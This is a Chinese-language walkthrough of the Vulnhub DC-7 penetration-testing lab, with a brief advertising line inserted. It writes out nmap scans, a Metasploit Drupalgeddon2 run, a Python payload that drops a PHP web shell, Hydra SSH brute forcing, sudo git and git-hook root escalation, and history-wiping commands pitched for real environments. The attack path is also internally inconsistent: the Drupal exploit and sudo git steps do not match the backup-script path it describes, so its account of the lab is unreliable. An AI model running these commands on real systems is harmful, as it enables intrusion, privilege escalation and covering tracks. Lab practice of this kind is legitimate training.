1. 项目概述:DC-7靶机渗透实战解析
DC-7是网络安全领域经典的渗透测试靶机之一,属于Vulnhub平台发布的DC系列中的第七个实验环境。这个靶机设计用于模拟真实企业网络中的安全漏洞场景,特别适合中高级安全从业人员进行Web应用渗透、权限提升等实战训练。我在实际测试中发现,其攻击路径涉及CMS漏洞利用、密码爆破、sudo提权等多个典型攻击面,完整复现了整个渗透测试生命周期。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与信息收集
2.1 靶机部署要点
建议使用VirtualBox导入OVA文件时,注意选择"重新初始化所有网卡的MAC地址"。实测中遇到过因MAC冲突导致靶机IP异常的情况。网络模式推荐采用Host-Only或NAT模式,确保攻击机(Kali Linux)与靶机在同一网段。
关键检查:执行
arp-scan -l确认靶机IP,DC-7默认会通过DHCP获取地址,通常位于192.168.x.0/24网段
2.2 自动化扫描策略
使用Nmap进行全端口扫描时,建议组合以下参数:
bash复制nmap -sS -Pn -p- -T4 --min-rate 1000 -oN full_scan.nmap <target_ip>
nmap -sC -sV -O -p <开放端口> -oN detail_scan.nmap <target_ip>
典型扫描结果会显示:
- 22/tcp:OpenSSH 7.4p1
- 80/tcp:Apache httpd 2.4.6 (CentOS)
3. Web应用渗透实战
3.1 CMS漏洞利用
访问80端口会发现Drupal 8的登录页面。通过Wappalyzer插件可确认具体版本为Drupal 8.3.7,该版本存在著名的Drupalgeddon2远程代码执行漏洞(CVE-2018-7600)。
利用Metasploit模块时需注意:
bash复制use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS <target_ip>
set TARGETURI /
exploit
若执行失败,可尝试手动利用Python脚本,关键payload构造如下:
python复制form_build_id = re.findall('name="form_build_id" value="(.*?)"', resp.text)[0]
data = {
'form_id': 'user_pass',
'_triggering_element_name': 'name',
'form_build_id': form_build_id,
'name': 'admin' + '&q=echo "<?php system($_GET[cmd]); ?>" > shell.php'
}
3.2 密码爆破技巧
在获取到用户凭据线索后,使用Hydra爆破SSH时推荐以下参数组合:
bash复制hydra -l <username> -P /usr/share/wordlists/rockyou.txt -t 4 <target_ip> ssh -vV -I
实测中发现DC-7的SSH服务对爆破有速率限制,建议添加-w 30参数增加等待间隔。成功登录后会立即触发邮件通知机制,这是该靶机的特色设计。
4. 权限提升路径分析
4.1 横向移动技术
通过分析邮件日志发现关键信息:
bash复制cat /var/mail/<username>
会看到包含密码的备份脚本通知,这里涉及:
- 备份脚本的定时任务配置
- 密码在脚本中的明文存储
- 脚本文件的可写权限检查
4.2 Sudo提权实战
发现用户可以免密码执行特定命令:
bash复制sudo -l
显示可执行/usr/bin/git,利用方法:
bash复制sudo git -p help
!/bin/bash
更稳妥的方式是调用git hook:
bash复制TF=$(mktemp -d)
git init "$TF"
echo '#!/bin/sh' > "$TF/hooks/pre-commit"
echo 'chmod +s /bin/bash' >> "$TF/hooks/pre-commit"
chmod +x "$TF/hooks/pre-commit"
cd "$TF" && git commit --allow-empty -m x
5. 渗透测试中的典型问题
5.1 常见报错处理
- Drupal漏洞利用失败:检查目标URL路径,有时需要设置为
/drupal/ - SSH连接被拒:确认是否触发fail2ban,可尝试修改源IP
- 文件上传失败:注意Web目录的写权限,尝试/tmp等临时目录
5.2 痕迹清理要点
在真实环境中需特别注意:
bash复制# 清除命令历史
history -c
rm ~/.bash_history
# 删除web shell
find /var/www -name "*.php" -exec grep -l "system(" {} \;
6. 防御建议与加固措施
针对该靶机暴露的安全问题,企业环境中应:
- CMS系统及时更新补丁
- 避免密码明文存储和传输
- 严格限制sudo权限
- 实施命令执行监控
- 定期审计定时任务
我在实际渗透中发现,DC-7的提权路径特别考察对Linux环境变量的理解,测试时可通过env命令检查关键变量,这往往是突破点所在。
